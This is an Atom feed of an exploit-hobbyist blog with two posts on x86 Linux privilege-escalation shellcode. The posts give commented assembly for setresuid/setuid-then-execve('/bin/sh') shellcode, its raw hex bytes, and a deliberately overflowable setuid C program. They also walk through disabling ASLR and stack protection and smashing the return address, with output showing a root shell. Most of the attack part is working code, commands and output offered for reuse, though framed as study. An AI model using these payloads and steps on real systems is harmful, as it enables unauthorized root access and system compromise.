<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1712627915021372401</id><updated>2011-04-22T06:23:58.513+02:00</updated><category term='shellcode shell setuid'/><title type='text'>eXploit da WorlD (for fun and profit)</title><subtitle type='html'>What I do in my freak time: Hacks, experiments, tweaks and all sort of inventions related to exploiting, hacking, shellcoding, reverse engineering, coding. Find my own exploits and learn how to write your own shellcodes.
Name inspired on the 'Smashing the stack for fun and profit' paper by Aleph One.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://exploitdaworld.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1712627915021372401/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://exploitdaworld.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>plAnadecU</name><uri>http://www.blogger.com/profile/13857351247896086293</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>2</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1712627915021372401.post-3493815390880352163</id><published>2009-03-10T21:29:00.004+01:00</published><updated>2009-03-11T01:09:01.150+01:00</updated><title type='text'>Smallest “setuid” &amp; “execve” GNU/Linux x86 stable shellcode without nulls</title><content type='html'>Chema Garcia from &lt;a href="http://opensec.es/"&gt;OpenSec&lt;/a&gt; proposes a minimal shellcode that maximizes the privileges of a process before spawning a shell. The total size is 28 bytes.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;global _start&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;section .text&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;_start:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;;setuid(0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;xor ebx,ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;lea eax,[ebx+17h]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;cdq&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;int 80h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;;execve("/bin/sh",0,0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;xor ecx,ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;push ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;push 0x68732f6e&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;push 0x69622f2f&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;lea eax,[ecx+0Bh]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;mov ebx,esp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;int 80h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There have been some discussions reducing the size of the shellcode and some solutions have been published. The one you can find in &lt;a href="http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html"&gt;packetstormsecurity&lt;/a&gt; by vlan7 for example, does not suid root when the starting memory is not not zeroed.&lt;br /&gt;&lt;br /&gt;We are going to demonstrate it by exploiting the program you can find below. Notice that seteuid() sets the effective uid to 5000 despite the real uid stills being the one who owns the executable (if the file has the flag suid active).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;#include &amp;lt;stdio.h&amp;gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;#include &amp;lt;string.h&amp;gt;&lt;/string.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;#include &amp;lt;sys h=""&amp;gt;&lt;/sys&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;#include &amp;lt;unistd.h&amp;gt;&lt;/unistd.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;int main(int argc, char *argv[]) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;  seteuid(5000);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;  function(argv[1]);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;void function(char *arg){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;  char buffer[8];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;  strcpy(buffer, arg);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;  printf("buffer is at %p and contains \'%s\'\n", buffer, buffer);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have put into three different environment variables three different versions of the shellcodes:&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;$SHELLCODE0&lt;/span&gt;: Running shellcode published in the last post (many bytes)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;$SHELLCODE1&lt;/span&gt;: Shellcode download from packetstormsecurity (26 bytes)&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;$SHELLCODE2&lt;/span&gt;: Shellcode from Chema Garcia (28 bytes)&lt;br /&gt;&lt;br /&gt;Put the shellcode code into the corresponding variables.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ export SHELLCODE0=`cat highest_priv_shell`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ export SHELLCODE1=$(perl -e 'print "\x31\xc0\x99\xb0\x17\x60\xcd\x80\x61\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ export SHELLCODE2=$(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Compile and set suid to the exploitable program. Disable stack and randomization of memory space protections.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;root@pdux:~# echo 0 &gt; /proc/sys/kernel/randomize_va_space&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ gcc -g overflowable.c -o overflowable -fno-stack-protector&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;overflowable.c:8: warning: conflicting types for ‘function’&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;overflowable.c:5: warning: previous implicit declaration of ‘function’ was here&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ sudo chown root:root overflowable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ sudo chmod u+s overflowable&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Get the environment variable addres and overwrite the return address with the obtained one.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./getenvaddr SHELLCODE0 ./overflowable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;SHELLCODE_OK will be at 0xbffffcb1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./overflowable $(perl -e 'print "A"x12 . "\xb1\xfc\xff\xbf"')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAA����'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;# whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;root&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;# exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./getenvaddr SHELLCODE1 ./overflowable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;SHELLCODE will be at 0xbffff653&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./overflowable $(perl -e 'print "A"x12 . "\x53\xf6\xff\xbf"')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAAS���'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;$ whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;whoami: cannot find name for user ID 40948&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;$ exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./getenvaddr SHELLCODE2 ./overflowableSHELLCODE2 will be at 0xbffffdfc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;plana$ ./overflowable $(perl -e 'print "A"x12 . "\xfc\xfd\xff\xbf"')buffer is at 0xbffff380 and contains 'AAAAAAAAAAAA����'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;# whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;root&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;" &gt;# exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With that we demonstrate that the minimal 28 bytes shellcode spawns root. We have as well demonstrated that the vlan7's one (shellcode1) does not really work since assumes the zeroivity of a setresuid parameter.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1712627915021372401-3493815390880352163?l=exploitdaworld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitdaworld.blogspot.com/feeds/3493815390880352163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://exploitdaworld.blogspot.com/2009/03/smallest-setuid-execve-gnulinux-x86.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1712627915021372401/posts/default/3493815390880352163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1712627915021372401/posts/default/3493815390880352163'/><link rel='alternate' type='text/html' href='http://exploitdaworld.blogspot.com/2009/03/smallest-setuid-execve-gnulinux-x86.html' title='Smallest “setuid” &amp; “execve” GNU/Linux x86 stable shellcode without nulls'/><author><name>plAnadecU</name><uri>http://www.blogger.com/profile/13857351247896086293</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1712627915021372401.post-3003179287843395360</id><published>2009-03-09T21:34:00.008+01:00</published><updated>2009-03-09T23:40:47.788+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode shell setuid'/><title type='text'>Spawning shell with highest UID available.</title><content type='html'>The first post is a publication of a shellcode I have found over there. It just spawns a shell with the highest privileges available for the current process.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_prmzp-zNITA/SbWOD-_-ZSI/AAAAAAAAAps/sfRysQVPSfo/s1600-h/exploit1.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 228px; height: 176px;" src="http://1.bp.blogspot.com/_prmzp-zNITA/SbWOD-_-ZSI/AAAAAAAAAps/sfRysQVPSfo/s320/exploit1.png" alt="" id="BLOGGER_PHOTO_ID_5311307534655448354" border="0" /&gt;&lt;/a&gt;&lt;/pre&gt; There are some programs that drop the privileges to a lesser privileged user to protect critical parts of the code. They just allow the high privileges for executing the parts of code that need them.&lt;br /&gt;The drop of privileges is often performed with the &lt;a href="http://www.linuxmanpages.com/man2/setuid.2.php"&gt;&lt;span style="font-style: italic;"&gt;setuid&lt;/span&gt;&lt;/a&gt; system call.&lt;br /&gt;Fortunately the privileges can be restored with the &lt;a href="http://www.linuxmanpages.com/man2/setresuid.2.php"&gt;&lt;span style="font-style: italic;"&gt;setresuid&lt;/span&gt;&lt;/a&gt; system call.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;BITS &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;32&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; setresuid(uid_t ruid, uid_t euid, uid_t suid);&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor eax, eax      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out eax&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor ebx, ebx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out ebx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor ecx, ecx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out ecx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor edx, edx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out edx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov al,  &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0xa4&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;     &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; 164 (0xa4) for syscall #164&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  int &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0x80&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; setresuid(0, 0, 0)  restore all root privs&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; execve(const char *filename, char *const argv [], char *const envp[])&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor eax, eax      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; make sure eax is zeroed again&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov al, &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;11&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;        &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; syscall #11&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  push ecx          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; push some nulls for string termination&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  push &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0x68732f2f&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;   &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; push "//sh" to the stack&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  push &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0x6e69622f&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;   &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; push "/bin" to the stack&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov ebx, esp      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; put the address of "/bin//sh" into ebx, via esp&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  push ecx          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; push 32-bit null terminator to stack&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov edx, esp      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; this is an empty array for envp&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  push ebx          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; push string addr to stack above null terminator&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov ecx, esp      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; this is the argv array with string ptr&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  int &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0x80&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; execve("/bin//sh", ["/bin//sh", NULL], [NULL])&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;To use this shellcode save it in a plain text file, compile it and put it into an environment variable for example.&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:100%;"  &gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;planadecu@pdux:~$ nasm highest_priv_shell.s&lt;br /&gt;planadecu@pdux:~$ export SHELLCODE=$(cat highest_priv_shell)&lt;br /&gt;planadecu@pdux:~$ echo $SHELLCODE&lt;br /&gt;1�1�1�1Ұ�1�&lt;br /&gt;Qh//shh/bin��Q��S��&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Now you just need a buffer to overflow ;)&lt;br /&gt;&lt;br /&gt;From the development manpages setuid system call does the follow.&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;int setresuid(uid_t ruid, uid_t euid, uid_t suid);&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;    setresuid()  sets  the real user ID, the effective user ID, and the saved set-user-ID of the calling process.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;The corresponding system call numbers are 164 according to the &lt;a href="http://lxr.linux.no/linux+v2.6.28.7/arch/x86/include/asm/unistd_32.h"&gt;unistd_32.h&lt;/a&gt; of a 2.6.27-13 kernel.&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:courier new;font-size:85%;"  &gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;planadecu@pdux:~$ grep setresuid /usr/src/linux-headers-2.6.27-13-generic/include/asm-x86/unistd_32.h&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;#define __NR_setresuid          &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-size:100%;" &gt;164&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;#define __NR_setresuid32        208&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;That justifies the first lines of the shellcode.&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; setresuid(uid_t ruid, uid_t euid, uid_t suid);&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor eax, eax      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out eax&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor ebx, ebx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out ebx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor ecx, ecx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out ecx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  xor edx, edx      &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; zero out edx&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  mov al,  &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200); font-weight: bold;font-family:courier new;font-size:100%;"  &gt;0xa4&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;    &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; 164 (0xa4) for syscall #164&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;  int &lt;/span&gt;&lt;span style="color: rgb(176, 128, 200);font-family:courier new;font-size:100%;"  &gt;0x80&lt;/span&gt;&lt;span style="color: rgb(235, 236, 237);font-family:courier new;font-size:100%;"  &gt;          &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-family:courier new;font-size:100%;"  &gt;&lt;i&gt;; setresuid(0, 0, 0)  restore all root privs&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;The interruption 0x80 makes the system enter the trap of the system call identified by its number stored in the EAX register.&lt;br /&gt;&lt;br /&gt;The other part of the shellcode calls the &lt;a href="http://www.linuxmanpages.com/man2/execve.2.php"&gt;execve&lt;/a&gt; system call with the '/bin//sh' string as the only parameter.&lt;br /&gt;&lt;br /&gt;In the next post we are going to see how to use this shellcode in a buggy sample executable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1712627915021372401-3003179287843395360?l=exploitdaworld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitdaworld.blogspot.com/feeds/3003179287843395360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://exploitdaworld.blogspot.com/2009/03/spawning-shell-with-highest-uid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1712627915021372401/posts/default/3003179287843395360'/><link rel='self' type='application/atom+xml' 